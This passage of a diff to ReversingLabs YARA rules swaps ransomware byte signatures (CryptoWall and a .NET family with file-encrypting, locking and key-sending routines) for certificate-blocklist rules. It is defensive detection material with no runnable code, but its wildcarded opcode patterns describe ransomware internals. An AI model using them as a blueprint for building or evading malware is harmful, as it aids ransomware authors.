?? ?? - ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? - 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 - 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? - ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? - 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? - ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? - 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 - 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? - ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 - } - $lockfile = { - 02 7B ?? ?? ?? ?? 16 FE ?? 3A ?? ?? ?? ?? 21 EA 17 ?? ?? ?? ?? ?? ?? ?? - 03 73 ?? ?? ?? ?? [2-4] 6F ?? ?? ?? ?? [2-4] 21 00 65 CD 1D - 00 00 00 00 FE ?? 16 FE ?? 2D ?? [2-4] FE ?? 16 FE ?? 2D ?? 03 28 - ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? [1-2] 28 ?? ?? ?? ?? [1-2] - 6F ?? ?? ?? ?? [1-2] 02 ?? [1-2] 28 ?? ?? ?? ?? [1-2] 03 [1-2] 28 ?? ?? - ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? [1-2] ?? FE ?? - 16 FE ?? 2D ?? 2B ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 2B ?? 03 28 ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? [1-2] 28 ?? - ?? ?? ?? [1-2] 6F ?? ?? ?? ?? [1-2] 02 ?? [1-2] 28 ?? ?? ?? ?? [1-2] 03 - [1-2] 28 ?? ?? ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 2A - } - $lockdir = { - 03 28 ?? ?? ?? ?? 0A 03 28 ?? ?? ?? ?? 0B 16 0C 08 06 8E 69 FE ?? 2C ?? - 00 06 08 9A 28 ?? ?? ?? ?? 0D 05 09 28 ?? ?? ?? ?? 16 FE ?? 2D ?? 02 25 - 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 06 08 9A 04 28 ?? ?? ?? ?? DE ?? - 26 DE ?? 26 DE ?? 08 17 58 0C 2B ?? 16 0C 08 07 8E 69 FE ?? 2C ?? 00 02 - 07 08 9A 04 05 28 ?? ?? ?? ?? 02 07 08 9A 04 28 ?? ?? ?? ?? DE ?? 26 DE - ?? 26 DE ?? 08 17 58 0C 2B ?? 2A - } - $sendkey = { - 00 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? - 0C 08 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 72 ?? ?? ?? ?? - 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F - ?? ?? ?? ?? 08 72 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 07 03 72 ?? ?? ?? ?? 08 - 6F ?? ?? ?? ?? 26 07 6F ?? ?? ?? ?? DE ?? 26 DE ?? 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( ( all of ( $encrypt_files_* ) ) and $lockfile and $lockdir and $sendkey ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Primetech Ltd." and pe.signatures [ i ] . serial == "5e:75:e9:97:f3:d7:0b:b8:c1:82:d5:6b:25:b7:d8:36" and 1324252800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Cryptowall : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Cert_Blocklist_D5690D94F15315E143Db10Af35497Dc5 : INFO FILE { meta: - description = "Yara rule that detects CryptoWall ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "06d8b106-d69a-526a-8e16-c95d39eb2993" - date = "2020-06-26" - modified = "2020-07-15" + id = "324b2e2f-bad7-5ac4-864c-044d99fa01dc" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoWall.yara#L3-L312" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12684-L12702" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "74baa04ee506732e0bb64a77cfd2d2216fcc978f13447ef07862e0116c093c14" + logic_hash = "4ac17d0f0e4ef2bb5f6cda8e7cb07a641d49c83465a0a80c46ff6e0e752d1847" score = 75 - quality = 88 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + quality = 90 + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "CryptoWall" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $v30_entrypoint = { - 55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 9A 00 00 00 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 7E C7 45 ?? ?? ?? ?? ?? - 8D 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 65 8B 4D ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 - E8 ?? ?? ?? ?? 8B 40 ?? A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 - 75 19 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A - ?? 6A ?? E8 ?? ?? ?? ?? 8B 50 ?? FF D2 33 C0 8B E5 5D C2 - } - $v20_entrypoint = { - 55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 A3 00 00 00 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 83 00 00 00 C7 45 ?? - ?? ?? ?? ?? 8D 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 6A 8B 4D ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 90 ?? ?? - ?? ?? FF D2 E8 ?? ?? ?? ?? 8B 40 ?? A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 75 19 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 - E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B 50 ?? FF D2 33 C0 8B E5 5D C2 - } - $v30_api_load = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 50 01 00 00 8B 45 ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 34 01 00 00 B9 ?? ?? ?? ?? 6B D1 ?? 8B 45 ?? 8B 4D ?? 03 4C 10 ?? 89 4D ?? 8B - 55 ?? 8B 45 ?? 03 42 ?? 89 45 ?? 8B 4D ?? 8B 55 ?? 03 51 ?? 89 55 ?? 8B 45 ?? 8B 4D ?? 03 48 ?? 89 4D ?? C7 45 ?? ?? ?? - ?? ?? EB 09 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 8B 4D ?? 3B 48 ?? 0F 83 DA 00 00 00 8B 55 ?? 8B 45 ?? 8B 4D ?? 03 0C 90 - 51 E8 ?? ?? ?? ?? 83 C4 ?? 3B 45 ?? 0F 85 B7 00 00 00 BA ?? ?? ?? ?? 6B C2 ?? 8B 4D ?? 8B 54 01 ?? 8B 44 01 ?? 89 55 ?? - 89 45 ?? 8B 4D ?? 8B 55 ?? 0F B7 04 4A 8B 4D ?? 8B 14 81 3B 55 ?? 76 71 8B 45 ?? 8B 4D ?? 0F B7 14 41 8B 45 ?? 03 45 ?? - 8B 4D ?? 39 04 91 73 59 8B 55 ?? 8B 45 ?? 0F B7 0C 50 8B 55 ?? 8B 45 ?? 03 04 8A 89 45 ?? 74 3F 6A ?? 8B 4D ?? 51 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 55 ?? 8D 44 02 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8D 45 ?? 50 6A ?? 8D 4D ?? - 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 40 ?? FF D0 EB 16 8B 4D ?? 8B 55 ?? 0F B7 04 4A 8B 4D ?? 8B 55 ?? 03 14 81 89 55 ?? EB - 05 E9 0E FF FF FF 8B 45 ?? 8B E5 5D C3 - } - $v30_dll_load = { - 55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 58 8B 45 ?? 8B 48 ?? 89 4D ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 - ?? 8B 08 89 4D ?? 8B 55 ?? 3B 55 ?? 74 36 8B 45 ?? 89 45 ?? 8B 4D ?? 0F B7 51 ?? D1 EA 52 8B 45 ?? 8B 48 ?? 51 E8 ?? ?? - ?? ?? 83 C4 ?? 3B 45 ?? 75 08 8B 55 ?? 8B 42 ?? EB 0C 8B 45 ?? 8B 08 89 4D ?? EB C2 33 C0 8B E5 5D C3 - } - $v30_calculate_hash = { - 55 8B EC 83 EC ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 5E 83 7D ?? ?? 74 58 8B 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 8B 55 - ?? 83 EA ?? 89 55 ?? 83 7D ?? ?? 74 3D 8B 45 ?? 66 8B 08 66 89 4D ?? 8B 75 ?? C1 EE ?? 0F B7 55 ?? 52 E8 ?? ?? ?? ?? 83 - C4 ?? 0F B7 C0 33 45 ?? 25 ?? ?? ?? ?? 33 34 85 ?? ?? ?? ?? 89 75 ?? 8B 4D ?? 83 C1 ?? 89 4D ?? EB AE 8B 45 ?? 83 F0 ?? - 5E 8B E5 5D C3 - } - $v30_1_find_file_1 = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 47 02 00 00 E8 ?? ?? ?? ?? 89 45 - ?? 83 7D ?? ?? 0F 84 32 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 68 - ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? - ?? 0F 84 B2 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 84 01 00 - 00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 83 E2 ?? 0F 85 A0 00 00 00 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 85 C0 0F 85 80 00 00 00 8D 4D ?? 51 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 69 C7 45 ?? ?? ?? - ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 47 8B 45 ?? 50 8B 4D ?? 8B 11 52 8B - 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 1C 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 51 - } - $v30_1_find_file_2 = { - E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB 67 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 - 54 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 8B 55 ?? 83 C2 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 32 8B 4D ?? 51 E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 75 16 8B 55 ?? 52 8B 45 ?? 50 E8 30 FE FF FF 83 C4 ?? 03 45 ?? 89 45 ?? 8B 4D ?? 51 E8 ?? ?? - ?? ?? 83 C4 ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 85 CE FE FF FF 8B 55 ?? 52 E8 ?? - ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 74 2E 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 - C4 ?? 3D ?? ?? ?? ?? 74 0E 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 89 4D ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 - ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3 - } - $v30_2_find_file_1 = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 ( 3B | 3D ) 02 00 00 E8 ?? ?? ?? - ?? 89 45 ?? 83 7D ?? ?? 0F 84 ( 26 | 28 ) 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? - ?? ?? ?? FF D1 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 83 7D ?? ?? 0F 84 ( A6 | A8 ) 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? - 83 7D ?? ?? 0F 84 ( 78 | 7A ) 01 00 00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 83 E2 ?? 0F 85 94 00 00 00 C7 45 ?? ?? ?? ?? - ?? 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 78 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 65 C7 - 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 83 C0 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 43 8B 55 ?? 8B 02 50 8B - } - $v30_2_find_file_2 = { - 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 1C 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 - E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB 67 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 - 54 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 83 C0 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 32 8B 55 ?? 52 E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 75 16 8B 45 ?? 50 8B 4D ?? 51 E8 3C FE FF FF 83 C4 ?? 03 45 ?? 89 45 ?? 8B 55 ?? 52 E8 ?? ?? - ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F 85 DA FE FF FF 8B 45 ?? 50 E8 ?? - ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 83 7D ?? ?? 74 ( 2E | 30 ) 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 45 ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 74 ( 0E | 10 ) 6A ?? [0-2] 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 89 55 ?? 8B 45 ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3 - } - $v30_3_find_file_1 = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 7C 02 00 00 E8 ?? ?? ?? ?? 89 45 - ?? 83 7D ?? ?? 0F 84 67 02 00 00 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8B 4D ?? 0F B7 54 41 ?? 83 FA ?? 74 16 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 68 - ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? - ?? 0F 84 E7 01 00 00 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 B9 01 00 - 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 91 00 00 00 8D 55 - ?? 52 8B 45 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 7A 8B 4D ?? 8B 11 83 E2 ?? 75 70 C7 45 ?? ?? ?? ?? ?? 8D 45 - ?? 50 8B 4D ?? 83 C1 ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 49 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 8B 45 ?? 8B - } - $v30_3_find_file_2 = { - 08 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 1C 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 88 00 00 00 8B 55 ?? 8B 02 83 E0 ?? 74 7E 8B 4D ?? 83 79 ?? ?? - 74 75 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 62 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? 51 8B - 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 40 8B 45 ?? 50 8B 4D ?? 8B 51 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 1D 8B 45 - ?? 50 8B 4D ?? 51 E8 15 FE FF FF 83 C4 ?? 85 C0 74 09 8B 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B - 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F 85 AC FE FF FF 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? - ?? ?? ?? FF D2 8B 45 ?? 50 8B 4D ?? 8B 51 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 2E 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 74 0E 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 89 - 45 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B E5 5D C3 - } - $v20_1_encrypt_file_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 99 05 00 00 8B 45 ?? - 83 38 ?? 74 1B 8B 4D ?? 83 79 ?? ?? 74 12 8B 55 ?? 83 7A ?? ?? 74 09 8B 45 ?? 83 78 ?? ?? 75 08 8B 45 ?? E9 6E 05 00 00 - 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? - ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 F4 04 00 00 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B - 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 8D 45 ?? 50 - 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 E7 03 00 00 66 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 6A ?? 6A ?? - 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 AF 03 00 00 - 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 97 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B - 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 6A 03 00 00 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 2C 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 D9 02 00 00 - } - $v20_1_encrypt_file_2 = { - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 8B 48 ?? 51 8B 55 ?? - 8B 02 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 81 02 00 00 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B - 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 41 02 00 00 8B 55 ?? 8B 45 ?? 3B 42 ?? - 0F 85 32 02 00 00 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F - 84 0B 02 00 00 8B 45 ?? 3B 45 ?? 0F 85 FF 01 00 00 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 C7 45 ?? ?? ?? ?? - ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 CE 01 00 00 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 75 0C 8B 55 ?? 3B 55 ?? 0F 84 73 01 00 00 C7 45 ?? ?? - ?? ?? ?? 8B 45 ?? 33 C9 8B 55 ?? 2B 55 ?? 8B 75 ?? 1B 75 ?? 89 85 ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 75 ?? 8B 45 ?? 3B 45 - ?? 77 1A 72 0B 8B 8D ?? ?? ?? ?? 3B 4D ?? 73 0D 8B 55 ?? 33 C0 89 55 ?? 89 45 ?? EB 12 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 - ?? 89 4D ?? 89 55 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 33 D2 03 4D ?? 13 55 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 3B 45 ?? 75 12 8B 8D ?? ?? ?? ?? 3B 4D ?? 75 07 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B - } - $v20_1_encrypt_file_3 = { - 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F 84 A2 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 96 00 00 00 C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 74 60 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF - D1 85 C0 74 31 8B 55 ?? 3B 55 ?? 75 29 8B 45 ?? 33 C9 03 45 ?? 13 4D ?? 89 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? - 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 02 EB 0D 83 7D ?? ?? 74 02 - EB 05 E9 79 FE FF FF 83 7D ?? ?? 74 17 8B 55 ?? 3B 55 ?? 75 0F 8B 45 ?? 3B 45 ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 - E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? - ?? 8B 90 ?? ?? ?? ?? FF D2 6A 